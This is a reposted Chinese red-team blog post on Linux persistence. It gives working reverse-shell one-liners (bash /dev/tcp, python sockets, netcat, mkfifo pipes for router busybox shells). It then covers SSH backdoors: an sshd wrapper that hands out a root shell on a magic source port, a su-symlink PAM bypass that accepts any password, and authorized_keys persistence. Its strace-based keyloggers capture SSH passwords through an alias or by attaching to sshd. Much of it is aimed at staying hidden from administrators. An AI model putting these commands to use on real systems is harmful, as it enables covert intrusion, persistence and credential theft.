linux 系统命令被后门修改_红队实战攻防技术分享:Linux后门总结SSH利用篇

导读:常见红队评估中,也能遇到很多Linux服务器,如何使Linux在安全人员/运维人员的检查过程中能够稳定的持续的用做跳板,本系列文章将对常见的Linux后门技术作以总结归纳,将相关技术展现给大家。

8a8b4d8772c2e46c8c6f8c365ac6c3aa.png

本篇文章是Linux后门总结文章第一篇,简单介绍了一些常见的shell反弹用法,还有针对不同系统/架构的反弹用法,后门要达到的目的一般都是用作权限维持,这里只介绍几种后面文章中会利用到的shell反弹方式,用不到的就不再往上写了。接着将针对SSH后门利用做一个分类说明演示,结合在一些实战环境中应用的特点。

拿到机器后可以查看一下有没有相关程序,反弹shell等进程能够被查到,这条命令可以简单的kill掉一些常见恶意程序。

批量kill可疑进程:

ps -ef |grep "python" |awk '{print $2}'|xargs kill -9ps -ef |grep "bash -i" |awk '{print $2}'|xargs kill -9ps -ef |grep "ew" |awk '{print $2}'|xargs kill -9

LINUX反弹shell

关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1

70670b196dcea548d7f0742ae8104f38.png

优点:在大多数Liunx系统上都可以使用,缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

52715d512d82e82a069c6cd40dc62544.png

优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

nc -e /bin/bash 127.0.0.1 6666

34c1f4ecbea1ecb2a915fe33f462f3bc.png

一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。

wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gztar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make install

5b05a957ad2d75e2cab4841d4af7cf1f.png

优点:直接反弹,没有多余的符号。缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。解决方法1:

nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777

9a49847609541622d3106cd66518f867.png

利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。

解决方法2(针对某些mips架构的路由器&busybox终端的系统):

//锐捷mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1//飞鱼星反弹shellmkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

0e6bbfcc74becef3dd2e9e8dca841595.png

SSH后门

SSH wrapper

判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。

cd /usr/sbin/mv sshd ../binvim sshd //编辑sshd内容为以下#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); // \x00\x00LF是19526的大端形式exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;service sshd restart

在本机执行

socat STDIO TCP4:127.0.0.1:22,sourceport=19265

0a2fd9d23f5430d81d2a8d59da77fe6d.png

可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。

修改端口可以修改..LF

import structbuffer = struct.pack('>I6',19526)print repr(buffer)

d10b0c67c5dac485447df7b1effb6197.png

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su/tmp/su -oPort=888

529666a4897c66421c6a526f93a0a108.png

优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

SSH 公钥免密登陆

ssh-keygen -t rsa //生成公钥

将id_rsa.pub内容放到目标.ssh/authorized_keys里

48423fce237f3a36ac1be904f1a95ef8.png

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接等情景。

SSH Keylogger

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的.bashrc里新建一条alias、这样可以抓取他登陆其他机器的ssh密码。算是alias后门。后面会在讲一下alias后门。

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

661b20d5f8e7537435d182c63e93298b.png

5c5244633e23f93ff0c9f1f776eab439.png

strace监听ssh来源流量

不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。

之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。

ps -ef | grep sshd #父进程PIDstrace -f -p 12617 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

b9ec7c55a58cfbab22262a6aca9c88d9.png

dbd2da78d18bfc9aab7f5a1f0f1c8f69.png

可以看到也能抓到写入密码。

Info:

https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper

https://www.freebuf.com/articles/system/178150.html

该文章完成并在内部分享时间为:2019年12月18日,作为一篇技术整理不可避免的会和网上有些文章相同,仅供大家学习讨论。

本文作者:奇安信高级攻防部 @孙韬。目前奇安信安服红队发出江湖召集令,凡是具备实战渗透经验、红队经验、APT实战能力的大侠,均可前来一试,全国招募!联系邮箱:a-hr@qianxin.com

_ 765036d37921a57e2052268d4055af70.png b2c96a41c624c585b07794a1265c9a87.gif

让网络更安全

让世界更美好

长按识别二维码关注我们

52bce88e15beb6c5e50ac3fb9eb3a0b9.png f95e9d7e9a158831577bf9c96a44ba32.png
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值